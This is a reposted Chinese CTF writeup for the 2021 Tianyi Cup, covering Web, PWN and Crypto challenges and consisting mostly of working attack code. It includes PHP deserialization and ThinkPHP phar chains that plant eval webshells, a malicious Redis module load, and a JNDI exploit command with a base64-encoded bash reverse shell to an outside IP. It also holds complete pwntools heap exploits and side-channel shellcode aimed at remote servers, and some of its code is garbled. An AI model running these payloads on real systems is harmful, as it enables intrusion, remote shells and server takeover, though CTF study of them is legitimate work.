我是靠谱客的博主 细心冰淇淋,这篇文章主要介绍2021第二届“天翼杯”网络安全攻防大赛writeupPWNCryptoMisc,现在分享给大家,希望可以做个参考。

Web

1.esay_eval

<?php   
class A{   
    public $code = "";   
    function __call($method,$args){   
        eval($this->code);   
    }   
    function __wakeup(){   
        $this->code = "";   
    }   
}   
class B{   
    function __destruct(){   
        echo $this->a->a();   
    }   
}   
if(isset($_REQUEST['poc'])){   
    preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);   
    if (isset($ret[1])) {   
        foreach ($ret[1] as $i) {   
            if(intval($i)!==1){   
                exit("you want to bypass wakeup ? no !");   
            }   
        }   
        unserialize($_REQUEST['poc']);       
    }   
}else{   
    highlight_file(__FILE__);   
}

简单分析一下主要绕过那个__wakeup函数就可以rce了

关于preg_match_all这个函数看这篇文章php preg_match_all()函数介绍与用法 - 飞鸟慕鱼博客 (feiniaomy.com)

最后要让$ret[1]里面的两个变量都等于1,因为他后面还有个intval($i)!==1的限制,(这个用大小写绕过就行了,因为php的变量名区分大小写,函数名、方法名、类名不区分大小写。)因为必须要绕过wakeup,所以用小写不让preg_match_all两个都匹配,放出来一个去绕过wakeup就可以了。

构造payload

<?php

class A{

    public $code = "";

    public function  __construct(){

        $this->code = "eval($_POST[1]);";

    }

}

class B{

    public function  __construct(){

        $this->a = new A();

    }

}

echo serialize(new B());

$前面加是怕序列化的时候执行了变成这样

得到O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:19:"eval($_REQUEST[1]);";}},把A改为小写,即可修改后面数字来绕过
即O:1:"B":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:19:"eval($_REQUEST[1]);";}},连接蚁剑拿到shell

代码审计,直接反序列化构造一句话木马

小写对象a绕过
复制代码
1
payload
?poc=O:1:"B":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:16:"eval($_POST[0]);";}}

蚁剑连接发现有disable_function,试了下蚁剑自带的bypass无果,然后在网站根目录发现了 有 config.php.swp vi-r 解一下发现 redis 密码

 github 上有 redis rce 的恶意 so 文件上传到 tmp 目录下然后用蚁剑 redis 插件加载恶意模块rce

Redis加载恶意so获取shell

蚁剑找到了一个config,恢复一下

下载下来丢到linux用vi恢复

vi -r config.php

这个redis密码看着太像假的了,但就是真的,用蚁剑的redis插件连接

接着就是打redis,在phpinfo发现有open_basedir,有个tmp还能用,那就把恶意so传上去

https://github.com/Dliv3/redis-rogue-server

直接用蚁剑

使用redis插件连接redis

127.0.0.1:6379> module load /tmp/exppadding.so

OK

127.0.0.1:6379> system.exec "id"

"uid=0(root) gid=0(root) groups=0(root)n

附上本地环境“:
FROM ubuntu:16.04
COPY src/sources.list /etc/apt/sources.list
COPY src/redis-4.0.9 /home/redis-4.0.9
RUN apt-get update &&
    apt-get install -y curl
            software-properties-common
            python3-software-properties
            python-software-properties
            unzip
            vim
RUN apt-get install -y apache2
RUN service apache2 restart
RUN locale -a
RUN export LANG=C.UTF-8 &&
    add-apt-repository ppa:ondrej/php &&
    apt-get update
RUN apt-get install -y libapache2-mod-php7.0
                        libzend-framework-php
                        php7.0-cli
                        php7.0
                        php7.0-bcmath
                        php7.0-bz2
                        php7.0-cgi
                        php7.0-common
                        php7.0-fpm
                        php7.0-gmp
                        php-http
                        php-imagick
                        php7.0-intl
                        php7.0-json
                        php7.0-mbstring
                        php-memcache
                        php-memcached
                        php7.0-mysql
                        php7.0-recode
                        php7.0-gd
                        php7.0-mcrypt
                        php7.0-xml
                        php7.0-pdo
                        php7.0-opcache
                        php7.0-curl
                        php7.0-zip
RUN apt install -y gcc
           make
RUN cd /home/redis-4.0.9 &&
    cp -r /home/redis-4.0.9 /usr/local/redis &&
    cd /usr/local/redis    &&
    make && make PREFIX=/usr/local/redis install &&
    export REDIS_HOME=/usr/local/redis &&
    export PATH=$PATH:$REDIS_HOME/bin
COPY src /tmp/src
RUN mv /tmp/src/web.ini /etc/php/7.0/apache2/conf.d/php.ini &&
    rm -rf /var/www/html &&
    mv /tmp/src/html /var/www/html &&
    mv /tmp/src/start.sh /start.sh &&
    chmod +x /start.sh
EXPOSE 80
CMD ["/start.sh"]
其中web.ini就是php的配置文件,可以在里面设置disable_function等

2.jackson

原题不说了嗷

https://www.redmango.top/article/61#javaweb

先看题目给的pom.xml

有shiro1.5.1,cc3.2.1题目名字叫jackson

那么应该就是shiro验证绕过访问路由通过jackson反序列化打cc链

发现有json路由需要登陆通过/;/json绕过

那么就直接上工具:https://github.com/welk1n/JNDI-Injection-Exploit
复制代码
1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A "47.100.27.114" -C 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDAuMjcuMTE0LzgwODggMD4mMQ==}|{base64,-d}|{bash,-i}'
复制代码
1
或者
复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63

看到pom.xml里面的框架版本可以想到CVE-2020-1957

2021第二届“天翼杯”网络安全攻防大赛 Writeup by X1cT34m-小绿草信息安全实验室

jackson反序列化 + JNDI注入 + LDAP返回序列化数据触发本地Gadget Bypass jdk 8u_191限制4

复制代码
POST /;/json HTTP/1.1
Host: 8.134.37.86:20947
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 97
["ch.qos.logback.core.db.JNDIConnectionSource",{"jndiLocation":"ldap://106.15.250.209:8091/a
bc"}]

Nc得到了反弹,直接获取根目录的flag即可


3.ezTP

通过robots.txt 得到www.zip 源代码:

目录结构:

很明显的TP框架 查看版本得到:5.0.10

一开始尝试TP框架的RCE,无果。遂放弃

然后查看Controller有一个index和admin:

Admin控制器:

Index控制器:

看起来 好像没什么问题。

但是可以看到,必须要登录admin才可以进行admin控制器里面的上传和列目录操作

故肯定是要注入,百度搜索到了

该版本的TP框架注入:https://www.cnblogs.com/wangtanzhi/p/12734685.html

注入登录admin账户:

然后查看admin控制器的listdir 可以发现is_dir函数是可以触发phar反序列化的。

参考:https://www.anquanke.com/post/id/251318#h2-1

但是会发现使用如上链接的poc,与网上的poc均不可用。

本地搭建环境调试了一下,发现:

Process.php的close方法:

与原来的tp框架不一样,多增加了一个if来过滤,因为原本的 HasMany 类并没有close方法,导致没办法调用$this->processPipes->close()方法,就无法进行下面的反序列化写文件RCE了,所以网上的POC就会没用。

现在需要做的是需要一个有close方法的类,并且内部需要调用成员变量的close方法。

这样就可以绕过过滤,并且可以继续反序列化。

在这里我找到了Memcache类,

只要将原来的链子 接入到$this->handler 变量里面去,就可以继续下去反序列化了。

但是通过调试:

这个path路径,写下去找不到文件。所以我改成了绝对路径,写到public目录下

反序列化POC:

<?php
namespace think;
use thinksessiondriverMemcache;
class Process
{
    private $processPipes;
    private $status;
    private $processInformation;
    public function  __construct(){
        $this->processInformation['running']=true;
        $this->status=3;
        $this->processPipes=(new Memcache(1));
    }
}
 namespace think;
 class Model{
 }
 namespace thinkmodel;
 use thinkModel;
 class Merge extends Model{
     public $a='1';
     public function __construct()
{
     }
 }
namespace thinkmodelrelation;
use thinkconsoleOutput;
use thinkdbQuery;
use thinkmodelMerge;
use thinkmodelRelation;
class HasMany extends Relation
{
    //protected $baseQuery=true;
    protected $parent;
    protected $localKey='a';
    protected $foreignKey='a';
    protected $pivot;
    public function __construct(){
        $this->query=new Output();
        $this->parent= new Merge();
    }
}
namespace thinkmodel;
class Relation
{}
namespace thinkdb;
class Query{}
namespace thinkconsole;
class Output{
    protected $styles = [
        'info',
        'error',
        'comment',
        'question',
        'highlight',
        'warning',
        'getTable',
        'where'
    ];
    private $handle;
    public function __construct()
{
        $this->handle = (new thinksessiondriverMemcache(0));
    }
}
namespace thinksessiondriver;
class Memcache
{
    protected $handler;
    public function __construct($i)
{
    if($i==0){
      $this->handler = (new thinkcachedriverMemcached(0));
    }else{
      $this->handler = (new thinkmodelrelationHasMany);
    }
    }
}
namespace thinkcachedriver;
class Memcached
{
    protected $tag;
    protected $options;
    protected $handler;
    public function __construct($i)
{
        if($i==0){
      $this->tag = true;
        $this->options = [
            'expire'   => 0,
            'prefix'   => 'PD9waHAgZXZhbCgkX1BPU1RbJ3pjeTIwMTgnXSk7ID8+',
        ];
        $this->handler = (new File);
    }
    }
}
class File
{
    protected $tag;
    protected $options;
    public function __construct()
{
        $this->tag = false;
        $this->options = [
            'expire'        => 3600,
            'cache_subdir'  => false,
            'prefix'        => '',
            'data_compress' => false,
            'path'          => 'php://filter/write=convert.base64-decode/resource=/var/www/html/public/',
        ];
    }
}
$o = new thinkProcess();
$phar = new Phar("test.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89A <?php __HALT_COMPILER(); ?>"); //设置stubb
$phar->setMetadata($o); //将自定义的meta-data存入manifest里
$phar->addFromString("test.txt", "test"); // 添加要压缩的文件
$phar->stopBuffering(); // 签名自动计算

需要添加GIF89A 头来绕过检测图片格式。

保存jpg上传头像,然后:

http://8.134.37.86:24954/public/?

s=admin/index/listpic&dir=phar:///var/www/html/public/static/img/person.jpg

最后访问shell 拿flag:

PWN

1.chaos

首先是一个输入,输入完之后逻辑比较长,我们一点一点分析。
首先是一个大的while循环。
while ( !*a1 || *a1 != 10 && (*a1 != 13 || a1[1] != 10) )
  {
    if ( v8 <= 5 )
      *((_QWORD *)&unk_202060 + 2 * v8) = a1;
    sb = strchr(a1, 58);
    if ( !sb )
    {
      puts("error.");
      exit(1);
    }
    *sb = 0;
    for ( sc = sb + 1; *sc && (*sc == 32 || *sc == 13 || *sc == 10 || *sc == 9); ++sc )
      *sc = 0;
    if ( !*sc )
    {
      puts("abort.");
      exit(2);
    }
    if ( v8 <= 5 )
      qword_202068[2 * v8] = sc;
    sd = strchr(sc, 10);
    if ( !sd )
    {
      puts("error.");
      exit(3);
    }
    *sd = 0;
    a1 = sd + 1;
    if ( *a1 == 13 )
      *a1++ = 0;
    s1 = (char *)*((_QWORD *)&unk_202060 + 2 * v8);
    nptr = (char *)qword_202068[2 * v8];
    if ( !strcasecmp(s1, "opcode") )
    {
      if ( v7 )
      {
        puts("error.");
        exit(5);
      }
      v7 = atoi(nptr);
    }
    else
    {
      if ( strcasecmp(s1, "passwd") )
      {
        puts("error.");
        exit(4);
      }
      if ( strlen(nptr) <= 1 )
      {
        puts("error.");
        exit(5);
      }
      v9 = strlen(nptr) - 1;
      if ( dest )
      {
        puts("error.");
        exit(5);
      }
      dest = calloc(v9 + 8, 1uLL);
      if ( v9 <= 0 )
      {
        puts("error.");
        exit(5);
      }
      memcpy(dest, nptr, v9);
    }
    ++v8;
  }
说白了就是对我们的输入进行要求,要求
opcode:1就是功能1,然后功能里面有密码,需要用passwd来
用功能1举例,完整的一个create输入是
“opcode:1npasswd:Cr4at3an”
那我们再来看功能
create
需要一个大小,最大0x208,创建的chunk是0x210,最后两个QWORD分别是大小跟一个指针。
这个指针会把我们所有的chunk串起来,构成一个单链表的状态,链表头放在bss
有漏洞,在哪?
在我们写的时候居然可以把size覆盖掉,第一次覆盖掉,第二次就可以溢出。
edit
show
delete
剩下三个函数就平平无奇。
我们就利用那个溢出,首先泄露libc,之后直接攻击tcache打free_hook就好啦

Vulnerability:

复制代码
1
00000000 node struc ; (sizeof=0x211, mappedto_8)
00000000 field_0 db 512 dup(?)
00000200 size dd ?
00000204 field_204 dd ?
00000208 next dq ? ; offset
00000210 field_210 db ?
00000211 node ends

As above, it set the size to 0x208 over the length of buf. So it follows that we can result in heap overflow.

复制代码
1
void __fastcall add(const char *a1)
{
int size; // [rsp+14h] [rbp-2Ch]
node *buf; // [rsp+18h] [rbp-28h]
node *tmp_link; // [rsp+20h] [rbp-20h]
char s[12]; // [rsp+2Ch] [rbp-14h] BYREF
unsigned __int64 v5; // [rsp+38h] [rbp-8h]

v5 = __readfsqword(0x28u);
if ( strcmp(a1, "Cr4at3") )
{
puts("error.");
exit(5);
}
printf(">>> ");
memset(s, 0, sizeof(s));
read(0, s, 0xBuLL);
size = atoi(s);
if ( size <= 0 || size > 0x208 )
{
puts("error.");
exit(5);
}
buf = (node *)malloc(0x210uLL);
buf->next = 0LL;
tmp_link = node_link;
node_link = buf;
buf->next = tmp_link;
buf->size = size;
printf(">>> ");
read(0, buf, (unsigned int)buf->size);
}

Exploit:

1.leak2.hijack hook3.get shell

复制代码
1
#!/usr/bin/python3
# -*- coding:utf-8 -*-

from pwn import *
import os, struct, random, time, sys, signal

context.arch = 'amd64'
# context.log_level = 'debug'
# sh = process('./chaos')
sh = remote('8.134.97.12', 25036)


def add(content):
sh.sendlineafter(b'>>> ', b'opcode:1npasswd:Cr4at3 n')

sh.sendafter(b'>>> ', b'520')
sh.sendafter(b'>>> ', content)

def show(offset):
sh.sendlineafter(b'>>> ', b'opcode:2npasswd:SH0w n')
sh.sendafter(b'>>> ', str(offset).encode())

def edit(offset, content):
sh.sendlineafter(b'>>> ', b'opcode:3npasswd:Ed1t n')
sh.sendafter(b'>>> ', str(offset).encode())
sh.sendafter(b'>>> ', content)

def delete(offset):
sh.sendlineafter(b'>>> ', b'opcode:4npasswd:D3l4te n')
sh.sendafter(b'>>> ', str(offset).encode())

for i in range(9):
add(b'a')
for i in range(9):
delete(0)
for i in range(7):
add(b' ')

add(b'b' * 8)
show(0)
sh.recvuntil(b'bbbbbbbb')
libc_addr = u64(sh.recvn(6) + b'') - 0x3ebeb0
success('libc_addr: ' + hex(libc_addr))

for i in range(8):
delete(0)
add(b' ')
add(b' ')
delete(0)

edit(0, b'' * 0x200 + p32(0x1000))
edit(0, b'' * 0x200 + p64(0x1000) + b'' * 0x38 + p64(libc_addr + 0x3ed8e8 - 8))
add(b' ')
add(b'/bin/sh' + p64(libc_addr + 0x4f550))
delete(0)

sh.interactive()

# flag{Arb1Tr4ry_Re4d_Wr1t3_1n_L1nkl1st}
# flag{c6MsFlPDHqkb0mAr2oeTV4UuCLNB7KOv}

2.ezshell

逻辑简单,开了一个可以rwx的页,我们输入一段shellcode,绕过一些检查,开了沙箱,最后执行它。
一点一点来,首先我们输入shellcode之后函数__ctype_b_loc函数是干嘛的?
我们去读源码,在ctype/ctype.h
#ifndef _ISbit
/* These are all the characteristics of characters.
   If there get to be more than 16 distinct characteristics,
   many things must be changed that use `unsigned short int's.
   The characteristics are stored always in network byte order (big
   endian).  We define the bit value interpretations here dependent on the
   machine's byte order.  */
# include <bits/endian.h>
# if __BYTE_ORDER == __BIG_ENDIAN
#  define _ISbit(bit)    (1 << (bit))
# else /* __BYTE_ORDER == __LITTLE_ENDIAN */
#  define _ISbit(bit)    ((bit) < 8 ? ((1 << (bit)) << 8) : ((1 << (bit)) >> 8))
# endif
enum
{
  _ISupper = _ISbit (0),    /* UPPERCASE.  */
  _ISlower = _ISbit (1),    /* lowercase.  */
  _ISalpha = _ISbit (2),    /* Alphabetic.  */
  _ISdigit = _ISbit (3),    /* Numeric.  */
  _ISxdigit = _ISbit (4),    /* Hexadecimal numeric.  */
  _ISspace = _ISbit (5),    /* Whitespace.  */
  _ISprint = _ISbit (6),    /* Printing.  */
  _ISgraph = _ISbit (7),    /* Graphical.  */
  _ISblank = _ISbit (8),    /* Blank (usually SPC and TAB).  */
  _IScntrl = _ISbit (9),    /* Control character.  */
  _ISpunct = _ISbit (10),    /* Punctuation.  */
  _ISalnum = _ISbit (11)    /* Alphanumeric.  */
};
#endif /* ! _ISbit  */
意思就是将我们输入的字符,根据
((bit) < 8 ? ((1 << (bit)) << 8) : ((1 << (bit)) >> 8))
进行处理,然后根据下面对应的进行返回。
我们稍加分析之后会得到一个表。
所以要求我们&0x4000不等于0的意思就是要求的是可见字符,这个简单,我们最后的shellcode用ae64处理一下就可以了。
继续往下读,会有两个prctl。
第一个我们经常见,很熟悉,就是把execve给ban掉而已。
第二个很有意思,它会不让我们dump信息以及不给我们调试。
就是我们gdb调试调到那一步会直接崩掉
seccomp-tools dump ./binary也会崩掉。
虽然说我们可以用进入root权限避免这个事情,但是在我们用gdb.attach去进行调试的时候还是会有很多问题,我们无法在root权限下调试。
所以我们在这里考虑直接将程序的那一句给patch掉。
非常牛,省的它麻烦我们。
然后就可以正常看看沙箱干了点啥。
沙箱显示呢我们的系统调用只有两个,open跟read,而且read有条件,fd必须大于等于4.
我们分开解决,首先解决没有write的问题。
在蓝帽杯决赛的silent跟强网杯的shellcode中都有过这个问题,我们就是简单的利用侧信道攻击,说白了就是通过爆破,当我们把flag读出来之后,我们一个字符一个字符去进行爆破比较,如果命中,就跳进死循环,如果跳进死循环,检测出来,就证明我们命中,从而进行爆破。
但是这有引出一个问题,我们命中的话就跳进死循环,那没命中呢?
如果直接不管,那个它也会卡住,会被程序认为命中,如果我们调用exit,但是沙箱不允许我们那样做,怎么处理这个问题?
我们只要利用沙箱并不让我做这个事情解决,我们就来一个不让做的系统调用,他会报错,Bad system call。
然后结束程序,那么我们的要求就达到了。
还有一个问题,就是read函数fd的问题,这个就好解决了,我们只要把flag文件多开几次就好啦。

Run shellcode

复制代码
1
#!/usr/bin/python3
# -*- coding:utf-8 -*-

from pwn import *
import os, struct, random, time, sys, signal

context.arch = 'amd64'
context.log_level = 'error'
# sh = process('./ezshell')
sh = remote('8.134.37.86', 28310)

shellcode = asm('''
xor eax,eax
push rax
mov rax, 0x67616c66 ;// flag
push rax
mov rdi, rsp
xor esi, esi
xor eax, eax
mov al, 2
syscall

xor eax,eax
push rax
mov rax, 0x67616c66 ;// flag
push rax
mov rdi, rsp
xor esi, esi
xor eax, eax
mov al, 2
syscall

xor eax,eax
push rax
mov rax, 0x67616c66 ;// flag
push rax
mov rdi, rsp
xor esi, esi
xor eax, eax
mov al, 2
syscall

xor eax,eax
push rax
mov rax, 0x67616c66 ;// flag
push rax
mov rdi, rsp
xor esi, esi
xor eax, eax
mov al, 2
syscall

xor eax,eax
push rax
mov rax, 0x67616c66 ;// flag
push rax
mov rdi, rsp
xor esi, esi
xor eax, eax
mov al, 2
syscall

loop1:
test rax, rax
js loop1

mov edi, eax
xor eax, eax
mov rsi, rsp
mov edx, 0x01010101
syscall

xor eax, eax
xor ebx, ebx
mov al, %d
mov bl, [rsp+rax]
sub bl, %d
loop2:
test rbx, rbx
jz loop2
int3
''' % (int(sys.argv[1]), int(sys.argv[2])))
open('./shellcode', 'wb').write(shellcode)


encode_shellcode = os.popen('cd alpha3; python2 ALPHA3.py x64 ascii mixedcase rdx --input=../shellcode ;')

sh.sendafter(b'shellcode?n', encode_shellcode.read())

now = time.time()
sh.recvrepeat(5)
diff = time.time() - now
if(diff > 4):
print('yes')
# flag{Orpwn2jARhxISTsEvzuY1lVZa8WCXkb5}
复制代码
1
或者
复制代码
1
from pwn import *
复制代码
1
from ae64 import AE64
复制代码
1

复制代码
1
# p = remote("8.140.177.7", 40334)
复制代码
1
context(os="linux", arch="amd64")
复制代码
1
#context.log_level = "debug"
复制代码
1
context.terminal= ['tmux','splitw','-h']
复制代码
1
map_addr = 0x10000
复制代码
1
flag_addr = 0x10100
复制代码
1

复制代码
1

复制代码
1
def exp(offset, ch):
复制代码
1
    code = asm(
复制代码
1
        """
复制代码
1
        push 0x67616c66
复制代码
1
        mov rdi, rsp
复制代码
1
        xor edx, edx
复制代码
1
        xor esi, esi
复制代码
1
        push SYS_open
复制代码
1
        pop rax
复制代码
1
        syscall
复制代码
1
        push SYS_open
复制代码
1
        pop rax
复制代码
1
        syscall
复制代码
1
        push SYS_open
复制代码
1
        pop rax
复制代码
1
        syscall
复制代码
1
        push SYS_open
复制代码
1
        pop rax
复制代码
1
        syscall
复制代码
1
        xor eax, eax
复制代码
1
        push 6
复制代码
1
        pop rdi
复制代码
1
        push 0x50
复制代码
1
        pop rdx
复制代码
1
        mov rsi, 0x10100
复制代码
1
        syscall
复制代码
1
        mov dl, byte ptr [rsi+{}]
复制代码
1
        mov cl, {}
复制代码
1
        cmp cl, dl
复制代码
1
        jz loop
复制代码
1
        mov al,231
复制代码
1
        syscall  
复制代码
1
        loop:
复制代码
1
        jmp loop
复制代码
1
        """.format(offset, ch)
复制代码
1
    )
复制代码
1
    obj = AE64()
复制代码
1
    sc = obj.encode(code,'rdx')
复制代码
1
    print sc
复制代码
1
    p.recvuntil("Are you a master of shellcode?n")
复制代码
1
    p.send(sc)
复制代码
1

复制代码
1
flag = ""
复制代码
1
for i in range(len(flag),50):
复制代码
1
    sleep(1)
复制代码
1
    log.success("flag : {}".format(flag))
复制代码
1
    for j in range(0x100):
复制代码
1
        p = process('./chall')
复制代码
1
        try:
复制代码
1
            exp(i,j)
复制代码
1
            p.recvline(timeout=1)
复制代码
1
            flag += chr(j)
复制代码
1
            p.send('n')
复制代码
1
            log.success("{} pos : {} success".format(i,chr(j)))
复制代码
1
            log.success(flag)
复制代码
1
            p.close()
复制代码
1
            break
复制代码
1
        except:
复制代码
1
            p.close()
复制代码
1

复制代码
1

3.overheap

Vulnerability:

Just off-by-null, as we can be seen from the challenge hint.

Exploit:

1.leak libc and heap address information2.chunk overlap3.hijack stdout to leak stack address information4.hijack stack5.ROP and run shellcode

The remote server can't fork process to be not able to execute the function system().

复制代码
1
#!/usr/bin/python3
# -*- coding:utf-8 -*-

from pwn import *
import os, struct, random, time, sys, signal

context.arch = 'amd64']
# context.log_level = 'debug'
# sh = process('./overheap')
sh = remote('8.134.51.71', 22213)
def add(size):
sh.sendlineafter(b'>> ', b'1')
sh.sendlineafter(b'Size:', str(size).encode())

def show(index):
sh.sendlineafter(b'>> ', b'2')
sh.sendlineafter(b'id:', str(index).encode())

def edit(index, content, raw=False):
sh.sendlineafter(b'>> ', b'3')
sh.sendlineafter(b'id:', str(index).encode())
if(raw):
sh.sendafter(b'Content:', content)
else:
sh.sendlineafter(b'Content:', content)

def delete(index):
sh.sendlineafter(b'>> ', b'4')
sh.sendlineafter(b'id:', str(index).encode())

add(0x18)
add(0x500)
add(0x18)
add(0x510)
add(0x18)
delete(1)
delete(3)
add(0x600)
add(0x500)
show(3)

result = u64(sh.recvn(8))
libc_addr = result - 0x2190f0
success('libc_addr: ' + hex(libc_addr))
heap_addr = u64(sh.recvn(8)) - 0x7e0
success('heap_addr: ' + hex(heap_addr))
add(0x510)

add(0xf8)
add(0x590)
edit(7, b'' * 0x4f0 + p64(0x21) * 14)
edit(6, p64(0) + p64(0xf1) + p64(heap_addr + 0x1340) + p64(heap_addr + 0x1340) + b'' * 0xd0 + p64(0xf0), 1)
delete(7)
add(0x68)
add(0x68)
delete(8)
delete(7)

stdout = libc_addr + 0x219760

environ = libc_addr + 0x220ec0

next_key = ((heap_addr + 0x1000) >> 0xc) ^ (stdout)
edit(6, b'' * 0x8 + p64(0x71) + p64(next_key))
add(0x68)
add(0x68)
add(0x68)
edit(8, p64(0xfbad2887|0x1000) + p64(0) * 3 + p64(environ) + p64(environ+8) * 2)

stack_addr = u64(sh.recvn(8))
success('stack_addr: ' + hex(stack_addr))

delete(9)
delete(7)

offset = +0
next_key = ((heap_addr + 0x1000) >> 0xc) ^ ((stack_addr-0x180 + offset)&(~0xf))
edit(6, b'' * 0x8 + p64(0x71) + p64(next_key))
add(0x68)
add(0x68)

layout = [
libc_addr + 0x000000000002e6c5, #: pop rdi; ret;
stack_addr & ~(0xfff),
libc_addr + 0x0000000000030081, #: pop rsi; ret;
0x2000,
libc_addr + 0x00000000001221f1, #: pop rdx; pop r12; ret;
7,0,
libc_addr + 0x0000000000049f00, #: pop rax; ret;
3,
libc_addr + 0x000000000008139b, #: add eax, edx; ret;
libc_addr + 0x0000000000095186, #: syscall; ret;
stack_addr-0xc0,
]

shellcode = asm('''
;// mov rax, 0x7478742e67616c66 ;// flag.txt
;// mov rax, 0x67616c662f ;// /flag
mov rax, 0x67616c66 ;// flag
push 0
push rax
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall

cmp eax, 0
js fail

mov edi, eax
mov rsi, rsp
add rsi, 0x200
push rsi
mov edx, 100
xor eax, eax
syscall ;// read

mov edx, eax
mov eax, 1
pop rsi
mov edi, eax
syscall ;// write

jmp exit

fail:
mov rax, 0x727265206e65706f ;// open error!
mov [rsp], rax
mov eax, 0x0921726f
add eax, 0x01000000
mov [rsp+8], rax
mov rsi, rsp
mov edi, 1
mov edx, 12
mov eax, edi
syscall ;// write


exit:
xor edi, edi
mov eax, 231
syscall
''')

edit(9, p32(0) + p32(0x1f8) + p8((stack_addr-0x150 + offset) & 0xff) + b'a' * 0x7 +
p64(libc_addr + 0x000000000002c7a9) + p64(libc_addr + 0x000000000002e6c5) + p64(libc_addr + 0x1dbc3a) + p64(libc_addr + 0x644b0) + flat(layout) + shellcode)

sh.interactive()
# flag{icOpmxhuFMAjgbQkKb7dgSjUrlx0KfNk}

Crypto

1.TryHash

本题密码算法的设计漏洞其实在于其轮函数f的设计。具体来说其轮函数具有较差的差分性质。

def g(self,v1,v2,x):  

    value = (v1+v2+x)%256  

    value = ((value<<3) | (value>>5)) &0xff  

    return value  

def f(self,value):  

    v1,v2 = unpack('>2B',pack('>H',value))  

    v2 = self.g(v1,v2,1)  

    v1 = self.g(v1,v2,0)  

    value = unpack('>H',pack('>2B',v1,v2))  

    return value[0]  

具体来说,通过数学推导,我们可以发现,对于f来说,当其两个输入的差分为0x8080时,其输出差分100%是0x400。根据这一差分性质,我们可以对该加密算法进行差分分析攻击。差分分析的具体原理可以参考这个blog http://www.theamazingking.com/crypto-feal.php

我们以对最后一轮加密(即第3轮)进行攻击为例,介绍攻击的流程。

我们构造两个特殊的输入 (L0,R0)和 (L0’,R0’)其中 L0 = L0‘, R0 = R0’^0x8080,让服务器加密,得到加密结果 (L3,R3),(L3’,R3’).通过对该加密算法的推导,我们可以得到关于第3轮轮函数f的运算关系。

f(round3_key^L0)  = out1   

   f(round3_key^L0') = out2  

   out1^out2 = R0^L0^R0'^L0'^0x400  

其中,只有round3_key是未知的,其他参数都是已知的。round3_key的大小为2个字节,完全可以通过爆破来得到正确的解。这样我们就把对于整个key的求解,拆分到对于轮密钥的求解,爆破复杂度从 2^64降低到了 2^16

需要注意的是对于一组明密文对,可能有多个符合关系的解,我们可以同时对多组明密文对进行求解,来过滤掉错误的解。

依次类推,可以用相似的方法得到第1,2,3轮的轮密钥。有了这三轮的轮密钥后,可以通过逆运算很块的求解出第0轮的密钥,最终恢复出整个密钥。

完整解题脚本

复制代码
1
from pwn import *
from gmpy2 import *
from hashlib import sha256
from ctypes import *
from Crypto.Util.number import *

def encrypt(text,key):
text=[text[i:i+16:] for i in range(0,len(text),16)]
delta=0x9e3779b9
s=c_uint32(0)
ct=[]
for t in text:
t0=c_uint32(int(t[0:8],16))
t1=c_uint32(int(t[8:16],16))
for i in range(32):
s.value=(s.value+delta)
t0.value+=(((t1.value<<4))+key[0])^(t1.value+s.value)^(((t1.value>>5))+key[1])
t1.value+=(((t0.value<<4))+key[2])^(t0.value+s.value)^(((t0.value>>5))+key[3])
ct.append(hex((t0.value<<32)|t1.value))
return ct

def decrypt(ctext,key):
ctext=[ctext[i:i+16:] for i in range(0,len(ctext),16)]
s=c_uint32(0)
delta=0x9e3779b9
s.value=delta<<5
mt=[]
for t in ctext:
t0=c_uint32(int(t[0:8],16))
t1=c_uint32(int(t[8:16],16))
for i in range(32):
t1.value-=(((t0.value<<4))+key[2])^(t0.value+s.value)^(((t0.value>>5))+key[3])
t0.value-=(((t1.value<<4))+key[0])^(t1.value+s.value)^(((t1.value>>5))+key[1])
s.value-=delta
m=((t0.value<<32)|t1.value)
mt.append(hex(m))
return mt

s = remote("8.134.37.86",21146)
s.recvuntil("XXX+")
a = s.recvuntil(")")
la = a[:-1]
s.recvuntil("==")
a = s.recvuntil("n")
a = a[1:-1]
print(la,a)
strs='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
def get():
for i in range(64):
for j in range(64):
for k in range(64):
for l in range(64):
t = strs[i]+strs[j]+strs[k]+strs[l]
m = t + la.decode()
p = sha256()
p.update(m.encode("UTF-8"))
d = p.hexdigest()
if a.decode() in d:
return t
ans = get()
print(ans)
s.sendline(ans)

s.recvuntil(b"ce:")
s.sendline(b"0")
s.recvuntil("for you")
s.sendline(b"Iamthesuperadmim")

strs=s.recvline()
c = bytes_to_long(strs[:-1])
c = hex(c)[2:]
c += (8-(((len(c)-1)%8)+1))*'0'

key = hex(bytes_to_long(b"Iamthesuperadmim"))[2:]
key=[int(key[i:i+8],16) for i in range(0,len(key),8)]
m=decrypt(c,key)
print(m[-1])

c = m.pop()[2:]
c += (8-(((len(c)-1)%8)+1))*'0'
key = hex(bytes_to_long(b"Iamthesuperadmin"))[2:]
key=[int(key[i:i+8],16) for i in range(0,len(key),8)]

m=encrypt(c,key)
m = m.pop()
print(m)

s.recvuntil(b"ce:")
s.sendline(b"1")
s.recvuntil(b"?")
s.sendline(long_to_bytes(eval(m)))
print(s.recvline())
复制代码
1
或者
复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
复制代码
from ctypes import c_uint32 as uint32
delta = 0x9E3779B9
sm, delta = uint32(0), uint32(delta)
for i in range(32):
    sm.value += delta.value
print(hex(sm.value))
#0xc6ef3720

复制代码
1
from pwn import *
复制代码
1
from ctypes import *
复制代码
1
from hashlib import sha256
复制代码
1
